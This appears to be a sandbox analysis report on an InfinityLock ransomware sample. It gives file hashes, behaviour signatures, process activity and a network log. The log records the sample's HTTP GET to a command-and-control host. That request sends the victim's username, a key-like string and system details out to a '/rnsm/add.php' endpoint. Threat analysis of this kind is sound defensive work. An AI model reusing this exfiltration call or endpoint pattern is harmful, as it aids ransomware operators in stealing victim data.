Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

bfaebc86c1...in.exe

windows10_x64

10

Resubmissions

04/09/2021, 18:09 UTC

210904-wrxmsshegj 10

31/08/2020, 12:21 UTC

200831-tnfgvzw7da 10

Analysis

  • max time kernel
    151s
  • max time network
    135s
  • platform
    windows10_x64
  • resource
    win10-en
  • submitted
    04/09/2021, 18:09 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    bfaebc86c1712aa80f501d859de686078b9f21e89174bd23a19b27af93b40ce4.bin.exe

  • Size

    77KB

  • MD5

    4e24780d9700a1cb9d741d7ef51889f1

  • SHA1

    4700da92e1f99b576ff517d3fa18103c67ac0d11

  • SHA256

    bfaebc86c1712aa80f501d859de686078b9f21e89174bd23a19b27af93b40ce4

  • SHA512

    c1d2501b95822796d6116711d426463dd95fd059201e11cf19f9ba8709782e6997cd4d2c04eb163199d305e04e04462ed032a53f50f9df0f4ff495dfb75450a0

Score
10/10
infinitylockransomware

Malware Config

Signatures

  • InfinityLock Ransomware

    Also known as InfinityCrypt. Based on the open-source HiddenTear ransomware.

    ransomwareinfinitylock
  • Modifies extensions of user files 4 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 2 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\bfaebc86c1712aa80f501d859de686078b9f21e89174bd23a19b27af93b40ce4.bin.exe
    "C:\Users\Admin\AppData\Local\Temp\bfaebc86c1712aa80f501d859de686078b9f21e89174bd23a19b27af93b40ce4.bin.exe"
    1⤵
    • Modifies extensions of user files
    • Drops file in Program Files directory
    • Checks processor information in registry
    • Suspicious use of AdjustPrivilegeToken
    PID:3940
  • C:\Windows\system32\taskmgr.exe
    "C:\Windows\system32\taskmgr.exe" /4
    1⤵
    • Drops file in Windows directory
    • Checks SCSI registry key(s)
    • Checks processor information in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    PID:2056
  • C:\Windows\System32\rundll32.exe
    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
    1⤵
      PID:4232

    Network

    • flag-us
      DNS
      arizonacode.bplaced.net
      bfaebc86c1712aa80f501d859de686078b9f21e89174bd23a19b27af93b40ce4.bin.exe
      Remote address:
      8.8.8.8:53
      Request
      arizonacode.bplaced.net
      IN A
      Response
      arizonacode.bplaced.net
      IN A
      162.55.0.137
    • flag-de
      GET
      http://arizonacode.bplaced.net/rnsm/add.php?type=add&data=InfinityCrypt%7CAdmin%7CaeqXTxXxFQzWxXxlaZvxXxJdTKxXx2JU4xXxLJ6lxXx%7CMicrosoft%20Windows%2010%20Enterprise%7C6E92A147EF5A35914D1FCE2C84E82927D2A5331CDE4F21608DC59BB210712E49%7C2825
      bfaebc86c1712aa80f501d859de686078b9f21e89174bd23a19b27af93b40ce4.bin.exe
      Remote address:
      162.55.0.137:80
      Request
      GET /rnsm/add.php?type=add&data=InfinityCrypt%7CAdmin%7CaeqXTxXxFQzWxXxlaZvxXxJdTKxXx2JU4xXxLJ6lxXx%7CMicrosoft%20Windows%2010%20Enterprise%7C6E92A147EF5A35914D1FCE2C84E82927D2A5331CDE4F21608DC59BB210712E49%7C2825 HTTP/1.1
      Referer: http://arizonacode.bplaced.net/rnsm/add.php?type=add&data=InfinityCrypt|Admin|aeqXTxXxFQzWxXxlaZvxXxJdTKxXx2JU4xXxLJ6lxXx|Microsoft Windows 10 Enterprise|6E92A147EF5A35914D1FCE2C84E82927D2A5331CDE4F21608DC59BB210712E49|2825
      Host: arizonacode.bplaced.net
      Connection: Keep-Alive
      Response
      HTTP/1.1 403 Forbidden
      Date: Sat, 04 Sep 2021 18:11:05 GMT
      Server: Apache
      X-BP-NSA-REQID: (null) a.14UID=116
      X-Content-Type-Options: nosniff
      Upgrade: h2,h2c
      Connection: Upgrade, Keep-Alive
      Last-Modified: Sun, 21 Jun 2020 03:37:25 GMT
      ETag: "1bbf-5a88fd839a740"
      Accept-Ranges: bytes
      Content-Length: 7103
      Vary: Accept-Encoding
      Keep-Alive: timeout=4, max=500
      Content-Type: text/html
    • 162.55.0.137:80
      http://arizonacode.bplaced.net/rnsm/add.php?type=add&data=InfinityCrypt%7CAdmin%7CaeqXTxXxFQzWxXxlaZvxXxJdTKxXx2JU4xXxLJ6lxXx%7CMicrosoft%20Windows%2010%20Enterprise%7C6E92A147EF5A35914D1FCE2C84E82927D2A5331CDE4F21608DC59BB210712E49%7C2825
      http
      bfaebc86c1712aa80f501d859de686078b9f21e89174bd23a19b27af93b40ce4.bin.exe
      837 B
       7.9kB
       7
      10

      HTTP Request

      GET http://arizonacode.bplaced.net/rnsm/add.php?type=add&data=InfinityCrypt%7CAdmin%7CaeqXTxXxFQzWxXxlaZvxXxJdTKxXx2JU4xXxLJ6lxXx%7CMicrosoft%20Windows%2010%20Enterprise%7C6E92A147EF5A35914D1FCE2C84E82927D2A5331CDE4F21608DC59BB210712E49%7C2825

      HTTP Response

      403
    • 8.8.8.8:53
      arizonacode.bplaced.net
      dns
      bfaebc86c1712aa80f501d859de686078b9f21e89174bd23a19b27af93b40ce4.bin.exe
      69 B
       85 B
       1
      1

      DNS Request

      arizonacode.bplaced.net

      DNS Response

      162.55.0.137

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/3940-115-0x0000000000F60000-0x0000000000F61000-memory.dmp

      Filesize

      4KB

      Download

    • memory/3940-117-0x00000000030B0000-0x00000000030D9000-memory.dmp

      Filesize

      164KB

      Download

    • memory/3940-118-0x00000000058B0000-0x00000000058B1000-memory.dmp

      Filesize

      4KB

      Download

    • memory/3940-119-0x0000000005E50000-0x0000000005E51000-memory.dmp

      Filesize

      4KB

      Download

    • memory/3940-120-0x0000000005950000-0x0000000005951000-memory.dmp

      Filesize

      4KB

      Download

    • memory/3940-121-0x00000000030E0000-0x00000000030E1000-memory.dmp

      Filesize

      4KB

      Download

    • memory/3940-122-0x0000000005820000-0x0000000005821000-memory.dmp

      Filesize

      4KB

      Download

    • memory/3940-123-0x0000000005B40000-0x0000000005B41000-memory.dmp

      Filesize

      4KB

      Download

    • memory/3940-124-0x0000000008EF0000-0x0000000008EF1000-memory.dmp

      Filesize

      4KB

      Download

    • memory/3940-125-0x00000000030E3000-0x00000000030E5000-memory.dmp

      Filesize

      8KB

      Download

    We care about your privacy.

    This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.